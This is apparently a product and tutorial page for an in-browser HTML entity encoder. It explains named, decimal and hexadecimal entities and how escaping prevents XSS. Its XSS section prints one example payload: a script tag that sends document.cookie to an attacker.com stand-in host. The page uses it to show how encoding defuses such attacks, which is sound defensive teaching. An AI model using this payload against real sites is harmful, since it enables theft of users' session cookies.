2ClickKit

HTML Entity Encoder & Decoder

Files Never Leave Your Device

Convert reserved symbols, international characters, and XML delimiters into named, decimal, and hexadecimal entities with real-time XSS protection and zero server uploads.

HTML Entities Encoder & Decoder

Safely encode special characters for HTML injection or decode named and numeric entities.

100% In-Browser · Private & Secure
Raw Input Text / HTML
Encoded Output (Safe for HTML)

Common HTML Entities Reference

Named, decimal, and hexadecimal character references for web development.

CharDescriptionNamed EntityDecimalHexadecimalAction
&Ampersand&&&
<Less than&lt;&#60;&#x3C;
>Greater than&gt;&#62;&#x3E;
"Double quotation mark&quot;&#34;&#x22;
'Single quotation / apostrophe&apos;&#39;&#x27;
©Copyright symbol&copy;&#169;&#xA9;
®Registered trademark&reg;&#174;&#xAE;
™Trademark&trade;&#8482;&#x2122;
€Euro sign&euro;&#8364;&#x20AC;
£Pound sterling sign&pound;&#163;&#xA3;
¥Yen / Yuan sign&yen;&#165;&#xA5;
°Degree sign&deg;&#176;&#xB0;
±Plus-minus sign&plusmn;&#177;&#xB1;
—Em dash&mdash;&#8212;&#x2014;
–En dash&ndash;&#8211;&#x2013;
…Horizontal ellipsis&hellip;&#8230;&#x2026;
§Section sign&sect;&#167;&#xA7;

The Fundamentals of HTML Character Encoding and Escaping

The World Wide Web was built upon the SGML (Standard Generalized Markup Language) paradigm, in which plain text is interwoven with semantic structural tags delineated by specific boundary markers. In the HTML and XML specifications, characters such as the less-than bracket (<), greater-than bracket (>), and ampersand (&) possess designated syntactic meaning. When a browser parser encounters a <, it immediately halts plain text rendering and transitions its internal tokenizer into tag-open mode, anticipating an element name such as <div>, <script>, or <img>.

When application developers must present literal characters that conflict with markup syntax—such as publishing a mathematical comparison (e.g., 5 < 10) or displaying source code tutorials—the markup parser requires an unambiguous signaling mechanism. This mechanism is the Character Reference (commonly referred to as an HTML Entity).

Classification of HTML Character References

Modern HTML5 specifications recognize three distinct varieties of character references, each serving specific encoding requirements across legacy and contemporary web architectures:

Reference Format Syntax Pattern Example Glyph Encoded Representation Browser Compatibility
Named Entity Reference &name; < (Less Than) &lt; Universal (HTML 2.0 through HTML5)
Decimal Numeric Character Reference &#D; (where D = decimal code point) € (Euro Sign) &#8364; Universal (Full Unicode range)
Hexadecimal Numeric Character Reference &#xH; (where H = hex code point) © (Copyright Sign) &#xA9; Universal (Standard in XML & XHTML)

The Mandatory Five XML / HTML Special Delimiters

While HTML5 catalogues over 2,200 named character references (including esoteric mathematical symbols and Greek letters), there are five fundamental entities that must be systematically escaped to prevent document corruption and security vulnerabilities:

  • Ampersand (& → &amp;): The ampersand signals the start of every entity reference. Unescaped ampersands can cause browsers to misinterpret downstream tokens as malformed entities.
  • Less-Than (< → &lt;): The opening delimiter of tags. Failure to encode this character enables malicious actors to inject arbitrary elements into the DOM.
  • Greater-Than (> → &gt;): The closing delimiter of tags. While browsers occasionally tolerate naked greater-than symbols in body text, leaving them unescaped can prematurely close tag definitions.
  • Double Quotation Mark (" → &quot;): Essential when rendering untrusted strings within HTML attribute values enclosed by double quotes (e.g., <input value="user_input">).
  • Single Quotation Mark / Apostrophe (' → &#39; or &apos;): Vital when outputting values within single-quoted HTML attributes. Note that while &apos; is standardized in XML and HTML5, older versions of Internet Explorer only recognized the decimal equivalent &#39;.

Context-Aware Sanitization and Cross-Site Scripting (XSS) Prevention

Cross-Site Scripting (XSS) consistently ranks among the most severe web application vulnerabilities listed in OWASP Top 10. The root cause of injection flaws is the conflation of untrusted data with executable instructions. When user-supplied text from form inputs, URL parameters, or databases is rendered into the response stream without transformation, the browser cannot distinguish between intentional developer markup and malicious payload scripts:

Anatomy of an XSS Exploitation

An unescaped comment payload: <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

When properly encoded as HTML entities:
&lt;script&gt;fetch(&#39;https://attacker.com/steal?cookie=&#39; + document.cookie)&lt;/script&gt;

The browser safely renders the literal characters on screen rather than instantiating the script execution engine.

Why HTML Encoding Fails in Other Contexts

A common developer pitfall is assuming that HTML entity encoding offers universal protection across all web development layers. Security encoding is strictly context-dependent:

  1. HTML Body Context: HTML entity encoding (converting < to &lt;) is completely effective between standard HTML tags such as <p>, <div>, and <span>.
  2. Attribute Value Context: When interpolating data into attributes like <input value="...">, quotes must be escaped. However, if the attribute represents an execution sink such as href="javascript:..." or onclick="...", HTML entities will be decoded by the browser prior to script execution, rendering the protection useless.
  3. JavaScript Script Context: Inside inline <script> blocks or JSON configurations, the JavaScript interpreter does not recognize HTML entities. Injecting &quot; into a JavaScript string creates an immediate syntax error. JavaScript strings require JSON serialization or Unicode escapes (e.g. \u0022).
  4. URL Query Context: URLs require percent-encoding (RFC 3986, e.g. %20, %2F) rather than HTML entity references.

Client-Side Performance and Privacy Guarantees

Many online entity conversion tools route developer payloads through backend web servers, creating compliance risks when dealing with proprietary database exports, customer PII, or confidential HTML email templates. 2ClickKit executes every transformation 100% inside your browser's local V8 or SpiderMonkey JavaScript runtime:

  • Zero server roundtrips or backend API telemetry.
  • Direct UTF-8 and UTF-16 code point mapping via String.fromCodePoint() and codePointAt().
  • Instant bidirectional batch processing capable of encoding megabytes of documentation in sub-millisecond timeframes.

How to Use HTML Entity Encoder & Decoder

  1. Choose Operation Mode

    Select "Encode to Entities" to escape raw text/HTML or "Decode to Plain Text" to convert entities back into normal characters.

  2. Select Format and Encoding Scope

    Choose between Named (&amp;), Decimal (&#60;), or Hexadecimal (&#x3C;) entities, and define whether to encode delimiters, non-ASCII, or all characters.

  3. Type or Paste Text Content

    Enter your code, payload, or international text into the input editor, or click "Load Sample" to test instantly.

  4. Inspect Live Statistics

    Review character counts, byte weights, and total entity occurrences dynamically calculated in local memory.

  5. Copy or Download Output

    One-click copy the escaped markup to your clipboard or download a structured .html document.

XSS Escape Example

Raw Markup with Script
<script>alert("Security Alert & Warning");</script>
Escaped HTML Output
&lt;script&gt;alert(&quot;Security Alert &amp; Warning&quot;);&lt;/script&gt;

Rendered safely in the DOM without executing JavaScript.

Technical Specifications

  • Supported Inputs: Named Entities (&amp;, &lt;, &copy;), Decimal NCRs (&#60;, &#169;), Hexadecimal NCRs (&#x3C;, &#xA9;), Full Unicode Range
  • Input Limit: Unlimited (in-memory parsing)
  • Processing Engine: 100% In-Browser (ECMAScript Unicode Engine)
  • Content Uploads: None (Your files and text are processed locally on your device with zero uploads)

Privacy & Security Guarantee

Your HTML fragments, plain text, and Unicode character references are processed entirely in your web browser's memory using native client-side web technologies. Unlike traditional cloud tools, your content is never uploaded to remote servers, stored on external disks, or analyzed by third parties.

2ClickKit In-Browser vs Traditional Cloud Tools

Feature 2ClickKit (In-Browser) Traditional Cloud Services
Data Privacy Files never leave your local device Uploaded to remote servers and third-party clouds
Processing Speed Instant local execution (0ms upload time) Constrained by internet upload & server processing queues
Account & Costs 100% Free with zero registration or paywalls Tiered subscriptions, limits, or forced sign-ups

Frequently Asked Questions

What is an HTML entity and why is it necessary?

An HTML entity is a standardized character reference used to represent reserved characters or symbols that cannot easily be entered on a keyboard or rendered directly in HTML. Because characters like '<', '>', and '&' indicate HTML tag markup and entity boundaries, browsers interpret raw unescaped instances as structural syntax. Using entities like &lt; and &gt; allows browsers to render literal glyphs without parsing them as code.

What is the difference between named, decimal, and hexadecimal entities?

A named entity uses a mnemonic keyword enclosed in an ampersand and semicolon (e.g. &copy; for ©). A decimal numeric character reference uses the Unicode code point expressed in base 10 prefixed by &# (e.g. &#169;). A hexadecimal reference uses the Unicode code point expressed in base 16 prefixed by &#x (e.g. &#xA9;). All three render identically in modern web browsers, but numeric entities support the entire Unicode character set while named entities are limited to those defined in HTML specifications.

How does HTML entity encoding prevent Cross-Site Scripting (XSS)?

Reflected and stored Cross-Site Scripting (XSS) attacks occur when untrusted user input containing executable tags like <script> or event handlers like onload= is rendered directly into an HTML document. By encoding '<' to &lt;, '>' to &gt;, and '&' to &amp;, the browser renders the attacker's script payload as harmless visible text characters rather than executing the script in the user's DOM context.

Why does the ampersand (&) need to be encoded first when serializing HTML?

Because the ampersand indicates the start of an entity sequence, encoding other characters before the ampersand can cause double-encoding issues. For example, if '<' is converted to '&lt;' and then ampersands are subsequently encoded, '&lt;' transforms into '&amp;lt;', which displays literally as '&lt;' on the rendered web page instead of the intended '<' symbol.

Can HTML entity encoding break JSON strings or JavaScript code?

Yes. HTML entity encoding is strictly intended for HTML document content contexts (such as paragraph bodies or element text nodes). Escaping quotes or angle brackets inside inline <script> blocks or JSON API payloads will corrupt JavaScript syntax. For JavaScript strings, use backslash Unicode escapes (such as \u003C) rather than HTML entities.

Is any text sent to a remote cloud server during encoding?

Never. All string parsing, Unicode code point lookups, regular expression substitutions, and entity conversions execute 100% inside your browser using client-side JavaScript. Your confidential source code, legal agreements, and proprietary payloads remain strictly private.